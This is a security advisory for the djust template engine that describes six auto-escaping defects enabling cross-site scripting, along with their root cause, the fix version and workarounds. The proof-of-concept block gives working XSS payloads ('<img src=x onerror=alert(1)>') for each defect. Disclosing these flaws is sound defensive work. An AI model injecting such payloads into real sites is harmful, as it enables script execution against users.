highSep 17, 2026

djust: Six Template-Layer XSS Defects via Broken Auto-Escape

Rohit Hatagale
AI Security Researcher, SecureLayer7

Six independent bugs in djust's template engine cause attacker-controlled input to bypass Django's HTML escaping and execute as live JavaScript in the browser, affecting common patterns like filter…

Packagedjust
Ecosystempip
Affected<= 1.1.0
Fixed in1.1.1

The problem

djust 1.1.0 contains six distinct auto-escaping failures in its Rust-backed template engine. Each defect shares the same shape: a filter or tag handler that defers escaping to render time, combined with something downstream that strips or suppresses that escape.

The affected surfaces are: the linenumbers, escape, linebreaks, and linebreaksbr filters; the safeseq and unordered_list filters when given a string instead of a sequence; a per-view safe-grant that persists across WebSocket renders and contaminates later untrusted values; and djust's own {% render_slot %} tag, which inserts its return value verbatim.

Three of the six defects (safeseq/unordered_list string path, the persistent safe-grant, and render_slot) require no unusual template construct and no |safe anywhere in the template.

Proof of concept

A working proof-of-concept for this issue in djust, with the exact payload below.

text
# Defect 1 — linenumbers defers escaping; |safe suppresses it
{{ p|linenumbers|safe }}
# p = '<img src=x onerror=alert(1)>'
# djust emits:  1. <img src=x onerror=alert(1)>   <- executes
# Django emits: 1. &lt;img src=x onerror=alert(1)&gt;

# Also exploitable without |safe via any downstream HTML-aware filter:
{{ p|linenumbers|truncatechars_html:"5" }}

# Defect 2 — escape is a no-op; |safe chain reads as "safe to emit" but isn't
{{ p|escape|safe }}
# p = '<img src=x onerror=alert(1)>'
# djust emits raw input;  Django double-escapes (correct)

# Defect 3 — safeseq/unordered_list on a string: becomes an alias for |safe
{{ hostile|safeseq }}
# hostile = '<img src=x onerror=alert(1)>'
# emits input verbatim; no |safe anywhere in the template

# Defect 4 — safe grant persists across WebSocket renders
# render 1:  p = mark_safe('<b>trusted</b>')    -> correct
# render 2:  p = '<img src=x onerror=alert(1)>'  -> executes (bare {{ p }})

# Defect 5 — render_slot emits slot content raw
{% render_slot p %}
# p = '<img src=x onerror=alert(1)>'
# djust emits:  <img src=x onerror=alert(1)>   <- executes
# Django emits: &lt;img src=x onerror=alert(1)&gt;

# Defect 6 — linebreaks content escapes only when |safe is present (the only spelling that renders correctly)
{{ bio|linebreaks }}        # renders literal '<p>' text (visibly broken, not exploitable)
{{ bio|linebreaks|safe }}   # bio = '<img src=x onerror=alert(1)>' -> executes

The root cause is CWE-116 (improper output encoding). djust's Rust template engine deferred HTML escaping to render time for all six surfaces rather than escaping eagerly at the filter/tag boundary the way Django does.

For filters like escape and linenumbers, the engine returned the input unchanged and relied on the auto-escape context to escape later. Any filter or grant downstream that marks output safe (|safe, safeseq's unconditional grant, or truncatechars_html's HTML-aware read) then consumed the raw string as trusted markup.

The persistent safe-grant defect is architectural: the view's context map never revoked a safety flag once set, so a key marked mark_safe on one WebSocket render remained marked safe on every subsequent render of the same connection, even when the value changed to attacker input.

The render_slot defect mirrors Django's SimpleNode.render gap: Django runs conditional_escape over a simple_tag return unless it carries __html__; djust inserted the return verbatim.

The 1.1.1 patch re-implements eager escaping at each filter and tag boundary against the 1.1.0 codebase (back-porting main's value-level safety model was not feasible). Three documented side effects, all in the over-escaping direction, are noted in the 1.1.1 changelog.

The fix

Upgrade to djust 1.1.1 (or 1.2.0+ for complete coverage). Note: application-written tag handlers that return attacker data as a plain str, and {% with %}/{% for %} binds that inherit an unearned safety grant, are not fixed in 1.1.1 and require 1.2.0. There is no complete workaround short of upgrading; as a partial measure, avoid |safe after any filter in a chain, avoid safeseq/unordered_list on values that may be strings, and avoid reusing a context variable for both mark_safe content and untrusted input.

Reporter not attributed.

References: [1][2][3]

Related research